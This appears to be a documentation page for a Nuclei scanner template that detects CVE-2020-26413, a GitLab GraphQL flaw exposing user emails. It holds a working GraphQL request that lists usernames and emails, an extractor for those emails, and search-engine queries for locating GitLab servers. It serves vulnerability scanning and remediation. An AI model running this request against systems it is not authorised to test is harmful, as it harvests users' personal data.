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Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure

ID: CVE-2020-26413

Severity: medium

Author: _0xf4n9x_,pikpikcu

Tags: cve,cve2020,hackerone,gitlab,exposure,enum,graphql

Description

Section titled “Description”

GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2020-26413


info:
  name: Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure
  author: _0xf4n9x_,pikpikcu
  severity: medium
  description: GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Gitlab CE/EE to version 13.6.3 or later.
  reference:
    - https://gitlab.com/gitlab-org/gitlab/-/issues/244275
    - https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26413
    - https://hackerone.com/reports/972355
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-26413
    cwe-id: CWE-200
    epss-score: 0.78637
    epss-percentile: 0.9826
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
  metadata:
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query:
      - http.title:"GitLab"
      - cpe:"cpe:2.3:a:gitlab:gitlab"
      - http.title:"gitlab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve,cve2020,hackerone,gitlab,exposure,enum,graphql


http:
  - raw:
      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {
          "query": "{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }",
          "variables": null,
          "operationName": null
        }


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"avatarUrl":'
          - '"node":'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: json
        json:
          - '.data.users.edges[].node.email'
        part: body
# digest: 490a004630440220329b1bc7fd7a2275a8dd652d49f885711c23e1233f79c336a85e81bc2723624302206c1c44a610b136085aa6839d20e4f2714c0c503a3aebcb325c9a5a28c22a2ee5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-26413.yaml"

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